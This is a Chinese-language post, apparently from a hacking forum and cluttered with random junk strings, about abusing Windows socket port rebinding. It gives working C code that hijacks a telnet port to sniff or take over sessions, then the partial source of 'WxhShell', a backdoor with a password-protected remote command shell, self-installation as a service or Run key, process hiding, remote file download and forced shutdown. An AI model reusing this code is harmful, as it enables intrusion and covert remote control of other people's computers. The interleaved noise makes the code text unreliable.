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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d?M!acB s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nRB>[lG 4l}M
i saddr.sin_family = AF_INET; BZ+ mO ;Uqx&5P} saddr.sin_addr.s_addr = htonl(INADDR_ANY); "qTC(F9N$. X$ B]P7G7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k!/_/^{ 2c~?UK[1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^i+z_%V g1wI/ 这意味着什么?意味着可以进行如下的攻击: zQ5jx5B": O;0<^M/0G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H='9zqYZ<W GHJ=-9{YL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6L2*gO:r? NhK(HTsvK 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !)/iRw9re s`iNbW=" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Sq|1f?_gU =x0"6gTz> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !@Sf>DM" gn W~KLqH 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r.wIk0 q9 brpbg_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mu6xL QdA 2 Z`$ #include UW/3{2 #include Ac!&j=ZE #include +%#MrNM' #include l?JO8^Nn DWORD WINAPI ClientThread(LPVOID lpParam); jqGo-C~ int main() 4 ?@uF[ { aT1CpY=T|. WORD wVersionRequested; _%Jl&0%q DWORD ret; UI<PNQvo9 WSADATA wsaData; nE,gQHw BOOL val; 9j?hF$L" SOCKADDR_IN saddr; bj7MzlGFy SOCKADDR_IN scaddr; (: TGe v int err; UiK+c30FU SOCKET s; K"k"ml<4E SOCKET sc; ]PzTl {] int caddsize; r$r&4dY HANDLE mt; c_z/At;4 DWORD tid; L_gsG|xX wVersionRequested = MAKEWORD( 2, 2 ); ?]\W8) err = WSAStartup( wVersionRequested, &wsaData ); < k+fKl if ( err != 0 ) { L`\`NNQC printf("error!WSAStartup failed!\n"); *mQDS.'AB@ return -1; RC8)f8n } QFNz9c saddr.sin_family = AF_INET; ^?6
W< t$y&=v //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q3x;_y^ Q}Ze-JIL$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ie2w0Cs28 saddr.sin_port = htons(23); .hQ3A" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CFBUQMl> { [)H,zpl printf("error!socket failed!\n"); Vgqvvq<S return -1; Y-%l7GErhL } xV,4U/T val = TRUE; /h7>Z9T //SO_REUSEADDR选项就是可以实现端口重绑定的 Y*kh$E%<# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qXU:A-IdIl { Pv7f
_hw printf("error!setsockopt failed!\n"); -yl4tW return -1; 3%[)!zKv } miG;]-"^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %;<k(5bhGJ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Th~3mf
# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4aalhy<j 1=/doo{^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #Z|%0r_~ { 6`DwEs?Y{ ret=GetLastError(); V`g\ja*Y printf("error!bind failed!\n"); m6_~`)R8 return -1; #}/cM2m } *h*j% listen(s,2); C,|nmlDN while(1) &h7smZO5j { _@#uIOcE caddsize = sizeof(scaddr); ;/?Z<[B //接受连接请求 >}<29Ii sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %Ye)8+- if(sc!=INVALID_SOCKET) b:F Ep'ZS { yfM>8"h@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `'xQ6Sy if(mt==NULL) DMAf^.,S { 6z9R1&~% printf("Thread Creat Failed!\n"); nc3ltT,R break; #.E\,N' } 24H^hN9 } |&elZ}8 CloseHandle(mt); @tr&R==([ } ldAov\X closesocket(s); )g9)IF WSACleanup(); %w'/n>]j return 0; xta}4:d-Y } $f<eq7rRe DWORD WINAPI ClientThread(LPVOID lpParam) a1
46kq { m4Phn~>Gg SOCKET ss = (SOCKET)lpParam; 3}>: SOCKET sc; g[#k.CuP unsigned char buf[4096]; 'DCKD4@C/ SOCKADDR_IN saddr; }b_R5U$@@ long num; c!\.[2n DWORD val; jw/'*e DWORD ret; qs6Nb'JvQR //如果是隐藏端口应用的话,可以在此处加一些判断 935-{h@k //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 MB]#%g& saddr.sin_family = AF_INET; U6c)"^\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gt
=j5 saddr.sin_port = htons(23); XGE
2J if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tJUVw= { {E3xI2 printf("error!socket failed!\n"); <O \tC81 return -1; 6Gs{nFw } %^a]J"Ydi8 val = 100; L!bfh` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =oo[ Eyr { Rr o?q ret = GetLastError(); h]kn%?fpmB return -1; _7Xd|\Zc } ZB~l2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rnnX|}J { "%{,T ret = GetLastError(); Q^$ghZ6V return -1; ZhhI@_sz } - *:p.(c if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5~@?>)TBv { WW//heJe- printf("error!socket connect failed!\n"); [3t0M5x w closesocket(sc); 8O~0RYk closesocket(ss); lo cW_/ return -1; Ef2Yl } y]yine while(1) {V}t'x`4c { y=[gQJ6~r //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =LlLE<X"%x //如果是嗅探内容的话,可以再此处进行内容分析和记录 FWuw/b$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /Jh1rck num = recv(ss,buf,4096,0); i/NDWVFD if(num>0) S:/{ send(sc,buf,num,0); #,@bxsB else if(num==0) *-?Wcz break; 3.Ji5~ num = recv(sc,buf,4096,0); Yuwc$Qp) if(num>0) 7#~4{rjg send(ss,buf,num,0); j(0Ilx|7v else if(num==0) cwk+#ur break; uzHT.iBn } ?TIV2m^? closesocket(ss); w?kGi>7E closesocket(sc); MVeFe\r return 0 ; F(d:t! } x|.v{tQa fx<FIj7 sB?2*S"X)< ========================================================== 8$\Za,)g ~V @;(_T 下边附上一个代码,,WXhSHELL ci`zR9Ks ^:m^E0(H ========================================================== T
|37#*c 9Hu
d|n #include "stdafx.h" -M6L.gi)oJ tC^ 1} #include <stdio.h> C`dkD0_ #include <string.h> ( : #include <windows.h> B9YsA?hg #include <winsock2.h> BY3bpR #include <winsvc.h> *dN N< #include <urlmon.h> q^5yk=2fq X` ATH^S #pragma comment (lib, "Ws2_32.lib") uaiz*Im #pragma comment (lib, "urlmon.lib") |z:Q(d06 @!e~G'j%VD #define MAX_USER 100 // 最大客户端连接数 #;`Oj #define BUF_SOCK 200 // sock buffer 27m@|M] R #define KEY_BUFF 255 // 输入 buffer W$r^ @c Z\*,T #define REBOOT 0 // 重启 fO6[!M( #define SHUTDOWN 1 // 关机 xPt*CB G%S6$@: #define DEF_PORT 5000 // 监听端口 /?Vdqci _l<mu? " #define REG_LEN 16 // 注册表键长度 8q0I:SJy #define SVC_LEN 80 // NT服务名长度 y=w`w>% (z/jMMms // 从dll定义API {J2#eiF typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zb."*zL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "#2pT H~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @}(SR\~N] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k=?^){[We h}h^L+4 // wxhshell配置信息 8"x9#kyU<3 struct WSCFG { R"Kz!NTB int ws_port; // 监听端口 #,&8& char ws_passstr[REG_LEN]; // 口令 :s"2Da3B int ws_autoins; // 安装标记, 1=yes 0=no %%&e"&7HE char ws_regname[REG_LEN]; // 注册表键名 c_#*mA"+ char ws_svcname[REG_LEN]; // 服务名 W .U+.hR char ws_svcdisp[SVC_LEN]; // 服务显示名 h$pk<< char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZYa\"zp- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G=|70pxU int ws_downexe; // 下载执行标记, 1=yes 0=no :k~dj C char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe"
:=9< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mZ7B<F[qV -(9O6)Rs$ }; 7Lg7ei2mN7 }Gr&w-v // default Wxhshell configuration d`Oe_< struct WSCFG wscfg={DEF_PORT, !MoOKW "xuhuanlingzhe",
Yl~$V( 1, "]#'QuR "Wxhshell", ul@3
Bt "Wxhshell", I^G^J M! "WxhShell Service", UW6VHA> "Wrsky Windows CmdShell Service", 26.)U r<F "Please Input Your Password: ", &tj0M.- 1, 6aY>lkp " http://www.wrsky.com/wxhshell.exe", q>-R3HB "Wxhshell.exe" rLzW` }; FaY_0G;y \0?$wIH? // 消息定义模块 3+>OGwfQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a8Uk[^5 char *msg_ws_prompt="\n\r? for help\n\r#>"; uE`r /=4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; {q,?<zBzu char *msg_ws_ext="\n\rExit."; Qdu$Os char *msg_ws_end="\n\rQuit."; |9IC/C!HC char *msg_ws_boot="\n\rReboot..."; )3%@9 char *msg_ws_poff="\n\rShutdown..."; ^ H3m\!h char *msg_ws_down="\n\rSave to "; 'wvMH;}u >b48>@~bY char *msg_ws_err="\n\rErr!"; SE)nD@: char *msg_ws_ok="\n\rOK!"; 51 4Z<omrK !n<o)DsZR char ExeFile[MAX_PATH]; m[:K"lZ
]2 int nUser = 0; ]-:6T0JuS HANDLE handles[MAX_USER]; s8vKKvs`9 int OsIsNt; _Yq@ FOu u,o1{%O SERVICE_STATUS serviceStatus; 0Z
HDBh SERVICE_STATUS_HANDLE hServiceStatusHandle; &94W-zh ?3q@f\fZ // 函数声明 M'2r@NR8 int Install(void); g)R1ObpZ int Uninstall(void); o=_c2m
int DownloadFile(char *sURL, SOCKET wsh); RlRs}yF int Boot(int flag); 3vW4<:Lgy void HideProc(void); :q
(&$ int GetOsVer(void); Kkv<"^H int Wxhshell(SOCKET wsl); g^l RG3a void TalkWithClient(void *cs); Ur!~<4GO int CmdShell(SOCKET sock); eT[&L @l]b int StartFromService(void); %>zjGF< int StartWxhshell(LPSTR lpCmdLine); ('hT iZxt/}1X0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bd==+ VOID WINAPI NTServiceHandler( DWORD fdwControl ); >c~RI7uu |^( M{ // 数据结构和表定义 ,T|x)"uA` SERVICE_TABLE_ENTRY DispatchTable[] = x2W#ROfg { $1Z6\G O {wscfg.ws_svcname, NTServiceMain}, ;:]\KJm}? {NULL, NULL} ?S tsH }; =a$Oecg? Ew$I\j* // 自我安装 %3o`j< int Install(void) =&vFVIhWcf { q
\O
Ou char svExeFile[MAX_PATH]; 3t"4TjAy HKEY key; 6BAW strcpy(svExeFile,ExeFile); .L EY=j!-s 6F|j(LB // 如果是win9x系统,修改注册表设为自启动 jfp z`zE if(!OsIsNt) { qP1FJ89H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wK!~tYxP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h|)vv4-d| RegCloseKey(key); +Xy*?5E;C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2SG$LIV 9Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jc:s` 4 RegCloseKey(key); \/5RL@X} return 0; ?*u*de[, } S6D^3n } +L%IG } }]6f+ else { rv7{Ow_Y z|N3G E(.@ // 如果是NT以上系统,安装为系统服务 rHz||jjU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q5a)}6-5 if (schSCManager!=0) yI3kvh { Vf $Dnu@}z SC_HANDLE schService = CreateService {whvTN1#dh ( ,}SCa'PB schSCManager, ,[!LCXp wscfg.ws_svcname, DjLL|jF wscfg.ws_svcdisp, P_Hv%g SERVICE_ALL_ACCESS, #hw>tA6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d~9!,6XM SERVICE_AUTO_START, Z(GfK0vU SERVICE_ERROR_NORMAL, szmmu*F,U: svExeFile, dl~|Izm NULL, cg{AMeW NULL, Log|%P\ NULL, w_wslN,) NULL, iG<Som NULL v)X\GmW7w ); W+=o&V if (schService!=0) q(IQa@$SR { @n+=vC.xO CloseServiceHandle(schService); ?cy4&]s CloseServiceHandle(schSCManager); @It>*B yB. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #,NvO!j<4 strcat(svExeFile,wscfg.ws_svcname); z=Cr7- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mUoIJ3fv_, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .uz|/Zy RegCloseKey(key); vbG]mMJ return 0; )>a B } 5&!c7$K0 } :iF%cy. CloseServiceHandle(schSCManager); gm)@c2?. } |`/TBQz:r } #0Ds'pE- +&=?BC}L9^ return 1;
jN*:QI } }6u2*(TmD 8|^CK|m6* // 自我卸载 {*m ?Kc7k int Uninstall(void) 23]Y<->Eu< { OFU/gaO~ HKEY key; {KL5GowH 60>.ul2 if(!OsIsNt) { yd_
(?V&;_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rNDrp@A> RegDeleteValue(key,wscfg.ws_regname); }T_Te?<& RegCloseKey(key); p9eRZVy/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ca<" RegDeleteValue(key,wscfg.ws_regname); G&f8n RegCloseKey(key); 4Y \wnwI return 0; <n"C, } 4=8QZf0\ } \;X+X,M } GX{XdJD else { Fr2N[\>s @R|'X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |I;$M;'r& if (schSCManager!=0) muON>^MbC { <@v]H@E SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %/%UX{8R if (schService!=0) 0E`1HP"b { V9NTs8LKc if(DeleteService(schService)!=0) { k?GD/$1t CloseServiceHandle(schService); *Mc7f ?H CloseServiceHandle(schSCManager); w8Sv*K return 0; c]k*}W3T } _QOZsEe CloseServiceHandle(schService); {-/^QX]6 } AnBJ(h CloseServiceHandle(schSCManager); NQHz<3S[ } 8jlLUG:g } Z~ 4'1m4Ugg return 1; !U%T&?E l } >w6taX >o,^b\ // 从指定url下载文件 /# NYi,<{X int DownloadFile(char *sURL, SOCKET wsh) ),:c+~@@kT { ~Heb1tl; HRESULT hr; R\3VB NX.g char seps[]= "/"; K$ }a8rH char *token; 5Qwh(C^H char *file; AM"jX"F9/ char myURL[MAX_PATH]; ENVk{QE! char myFILE[MAX_PATH]; qy1F*kY &<TzGB* strcpy(myURL,sURL); OWp%v_y] token=strtok(myURL,seps); 4bVO9aUG{ while(token!=NULL) <6TT)t<h { 2-*V=El file=token; q/9H..6 token=strtok(NULL,seps); ^ <`(lyph } Jb_1LZ)] `O?T.p) GetCurrentDirectory(MAX_PATH,myFILE); @&F@I3`{ strcat(myFILE, "\\"); {=2DqkTD strcat(myFILE, file); 2NGeC0= send(wsh,myFILE,strlen(myFILE),0); p/Sbt/R send(wsh,"...",3,0); uQ$^;Pr hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :'L2J if(hr==S_OK) CbBSFKM return 0; /wShUR{ else eYUr-rN+)z return 1;
uE/T2BX* {~GYj%-^ } Rgy-OA f>o,N{| // 系统电源模块 ,QIF & int Boot(int flag) [jdFA<Is { INs!Ame2 HANDLE hToken; e1myH6$W TOKEN_PRIVILEGES tkp; QS.>0i/7l R:-JkV>e: if(OsIsNt) { asiov[o; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6d[_G$'nk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gU^$Sx7' tkp.PrivilegeCount = 1; -Y#sI3o*R8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @!N-RQ&A AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _ZB\L^j) if(flag==REBOOT) { #eZ6)i< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TcTM]ixr return 0; q#A (gyy } lASL8O&\ else { n]_[NR) i if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UV
4>N return 0; 63|+2-E2Q } BcjP+$k4_ } ^mWybPqx else { 8b.u'r174 if(flag==REBOOT) { h}_~y'^! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?<&O0'Q return 0; kqYa*| l } fA%z*\ else { %=AxJp!a if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WO4=Mte? return 0; _-!sBK+F } eivtH P } /v|"0 UUKP" return 1; LH 3}d<{ } p9U?!L!y r=/;iH?UH // win9x进程隐藏模块 Yb i%od& void HideProc(void) OJN2z { 5
8-e^. f %lD08Sl HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W6T|iZoV"r if ( hKernel != NULL ) "vYE+ { @ l1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +x?#DH- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $8USyGi3J FreeLibrary(hKernel); aV o;~h~ } *%w69#D U t-B^x)gl return; U-k+9f 0 } UX3BeUi.) ;@,Q&B2eM // 获取操作系统版本 $&s=68
int GetOsVer(void) Om'+]BBN { 93+"D` OSVERSIONINFO winfo; h)1qp Qj winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u~
~R9. GetVersionEx(&winfo); M/?KV9Xk2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9odJr] return 1; RCTQhTy= else v%k9M{ return 0; YCe7<3> J4 } TSAU?r\P ^=n+T7"J // 客户端句柄模块 ""Zp:8o int Wxhshell(SOCKET wsl) ^JZ^>E~ { \\BCcr\l SOCKET wsh; ~U(,TjJb struct sockaddr_in client; Qu=LnGo~P DWORD myID; nVu&/ o-xDh7v while(nUser<MAX_USER) di)*-+ { 9!9Z~/*m int nSize=sizeof(client); ZvYLL{>}w wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j*e6vX if(wsh==INVALID_SOCKET) return 1; mNf8kwr E3@QI?n^^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {mWui9 %M if(handles[nUser]==0) }>^Q'BW;65 closesocket(wsh); *19ax&|*S else < v]3g nUser++; <R%;~) { } 6Ao%>;e* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LA_3=@2.H n .!Ym
X4 return 0; *`j-i } _A<u#.yd }?cGf-c // 关闭 socket tt%MoQ) void CloseIt(SOCKET wsh) +jg9$e " { JOjoiA closesocket(wsh); ky
8e p nUser--; ml@2wGyf ExitThread(0); t NsPB6Z } "fg](Cp[z cJM: // 客户端请求句柄 <APB11 void TalkWithClient(void *cs) mrm^e9*Z { >FhK#*Pa ,f}UGd[a SOCKET wsh=(SOCKET)cs; i>EgG5iJ char pwd[SVC_LEN]; 7NC=*A~ char cmd[KEY_BUFF]; < B_Vc:Q char chr[1]; K =.%$A int i,j; w;Q;[:y s[8@*/ds while (nUser < MAX_USER) { 2&+#Vsm`V Auy_K?he] if(wscfg.ws_passstr) { T081G`li if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J7C4V'_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P5lqSA{6 //ZeroMemory(pwd,KEY_BUFF); r ]W i=0; 7nbB^2 while(i<SVC_LEN) { _#$*y >0{S // 设置超时 U yw-2]!n fd_set FdRead; s5RjIa0$7 struct timeval TimeOut; pLMRwgzr FD_ZERO(&FdRead); IHgeQ F
~ FD_SET(wsh,&FdRead); AamVms TimeOut.tv_sec=8; =9kN_:- TimeOut.tv_usec=0; 0-LpqX int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e*+FpW@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =%zLh<3v `/Nm
2K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yq+!czlZ pwd =chr[0]; [^8n0{JiN if(chr[0]==0xd || chr[0]==0xa) { e]=!"nJ+ pwd=0; 1!pa;$L break; r>jC_7 } }HE6aF62O i++; sC[yI Up } JFgoN,xn .(J?a" // 如果是非法用户,关闭 socket iHf-{[[Z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {pb>$G:gfx } /7!""{1\\ @/r^%G send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6t/`:OZC: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SI:U0gUc 9 Pw0m=4 while(1) { D>Gt]s !v]b(z`Y ZeroMemory(cmd,KEY_BUFF); %{6LUn OMwsbp& // 自动支持客户端 telnet标准 A:<;M@q! j=0; lTU$0CG while(j<KEY_BUFF) { b$k&dT\o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B\g]({E cmd[j]=chr[0]; ++L?+^h if(chr[0]==0xa || chr[0]==0xd) { c!8=lrT. cmd[j]=0; 3~e8bcb break; .To;"D;j, } syip; ; j++; lnE+Au' } -@>BHC Jc)^49Rf // 下载文件 U/lM\3v/e if(strstr(cmd,"http://")) { nA?Hxos send(wsh,msg_ws_down,strlen(msg_ws_down),0); zrVC8Wb if(DownloadFile(cmd,wsh)) ~Oe Ppa\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); u * else azjEq$<M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qyHZ M}/ } nUq<TJ else { [![%9'+P kt4d;4n switch(cmd[0]) { 3:%QB9qc]' j@Qg0F // 帮助 &R~n>>c case '?': { qo)?8kx>l send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yfU<UQ!1 break; Yxv9 } = 07Gy, =i // 安装 "U.^lkN case 'i': { {brMqE>P# if(Install()) KYJjwXT28W send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~)? else ND<!4!R^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8@NH%zWBp break; :Q+5,v-c } I ];M7 // 卸载 ylKmj]A case 'r': { 9+,R`v if(Uninstall()) t6c<kIQ:-O send(wsh,msg_ws_err,strlen(msg_ws_err),0); v){ .Z^_C else jkiTj~WE- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I8OD$`~*U6 break; 8Ry74|`=R } 5>6PH+Oq // 显示 wxhshell 所在路径 Iqs+r? case 'p': { xoB},Xl$D char svExeFile[MAX_PATH]; HE<1v@jW strcpy(svExeFile,"\n\r"); %AF5= strcat(svExeFile,ExeFile); ,wKe
fpV;5 send(wsh,svExeFile,strlen(svExeFile),0); R{,ooxH\J break; tweY'x.{ } .kTG[)F0b // 重启 1>Q{Gs^ case 'b': { W&h[p_0 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0iCPi)B if(Boot(REBOOT)) 1B*WfP~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7=@jARW& else { )pw&c_x closesocket(wsh); *%Qn{x ExitThread(0); bbxLBD' } .I3?7 break; hVjNZ } 5q@LxDy,b // 关机 "i:T+#i({O case 'd': { [nxE)D send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4Ij-Ilg)% if(Boot(SHUTDOWN)) i?Ss: v^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,wwZI`>- else { .s/fhk, closesocket(wsh); k
{- ExitThread(0); u6:pV.p } =O|c-k,f@ break; j?b\+rr } `"vZ);i< // 获取shell wix5B@ case 's': { OT
%nr zP CmdShell(wsh); wwKh CmH closesocket(wsh); n(~\l#o@ ExitThread(0); L.6WiVP) break; 'H9=J*9oG } Bs`$ i ;& // 退出 c41: !u^ case 'x': { PR<||"03 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fIoIW&iy CloseIt(wsh); 0;,IKXK6X break; s?WCnT } ()PKw,pD // 离开 nZR!*$}A case 'q': { V+?]S send(wsh,msg_ws_end,strlen(msg_ws_end),0); GC8}X;((Y closesocket(wsh); y(
r1I[W' WSACleanup(); DOm[*1@^ exit(1); 3+MB5T break; `ir3YnT+ } Ql?^
B
SqG } 9ykM3 } "s
W-_j] 3`9{T> // 提示信息 .AV)'j#6P if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a:SQ16_? } Z: 2I/ } QbYc[8-[ /Tz85 [%6 return; `n!viW|tB } '%v#v 3' Z.Rb~n& // shell模块句柄 c*\<,n_ int CmdShell(SOCKET sock) b7C
e%Br { 9?+9UlJ7K STARTUPINFO si; mzL[/B#>M ZeroMemory(&si,sizeof(si)); I
5ag6l si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _i}wK?n si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L{g E'jCC PROCESS_INFORMATION ProcessInfo; ,xJrXPW char cmdline[]="cmd"; rl:KJ\*D CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b syq* return 0; T+"f]v } 8F;>5i zIQzmvf // 自身启动模式 K0+;bu int StartFromService(void) "cho }X { lD;'tqaC typedef struct F-n"^.7 { ]pTvMom$6 DWORD ExitStatus; #i QX6WF DWORD PebBaseAddress; crA:I"I DWORD AffinityMask; QhGXBM DWORD BasePriority; `ia %)@ ULONG UniqueProcessId; )"@t6. ULONG InheritedFromUniqueProcessId; y_F}s9wj } PROCESS_BASIC_INFORMATION; ?4PQQd {I%y;Aab8 PROCNTQSIP NtQueryInformationProcess; jigs6# .R44$F static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t[.W$1= static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U`R;P- Ru%|}sfd HANDLE hProcess; `ZHP1uQ< PROCESS_BASIC_INFORMATION pbi; <v]9lw' 4h
